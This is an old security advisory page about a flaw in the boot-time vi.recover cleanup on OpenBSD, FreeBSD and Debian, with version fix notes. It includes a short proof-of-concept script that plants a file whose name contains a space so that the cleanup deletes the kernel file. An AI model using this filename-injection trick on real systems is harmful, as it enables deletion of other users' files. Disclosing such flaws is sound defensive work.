Vi uses /tmp insecurely on OpenBSD, FreeBSD and Debian. This has been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and 4.0-CURRENT (04.01.2000).
0a66d13e1b0672071fa86fd276e6f2033173b2a6646c37fc1fe6802cb098a9db
<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<BODY BGCOLOR="#000000" TEXT="#FFFFFF"><PRE>
<FONT COLOR="#CC0000">COMMAND</FONT>
vi
<FONT COLOR="#CC0000">SYSTEMS AFFECTED</FONT>
OpenBSD, FreeBSD, Debian
<FONT COLOR="#CC0000">PROBLEM</FONT>
Loneguard found following. Looks like someone noticed this at
some point in OpenBSD. It works on older OpenBSD, FreeBSD and
Debian (others?).
<FONT COLOR="#00FF00">
#!/bin/sh
#
# vibackup.sh - Loneguard 22/05/99
# Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
# of files
#
touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
echo Now wait for ( or cause ) a reboot...
</FONT>
<FONT COLOR="#CC0000">SOLUTION</FONT>
OpenBSD 2.6 does not have this problem as its vi.recover script
is written in perl and can handle files with spaces in them
sanely.
This has been fixed in FreeBSD 2.2-STABLE, 3.4-STABLE and
4.0-CURRENT (04.01.2000).
</PRE></BODY>
</HTML>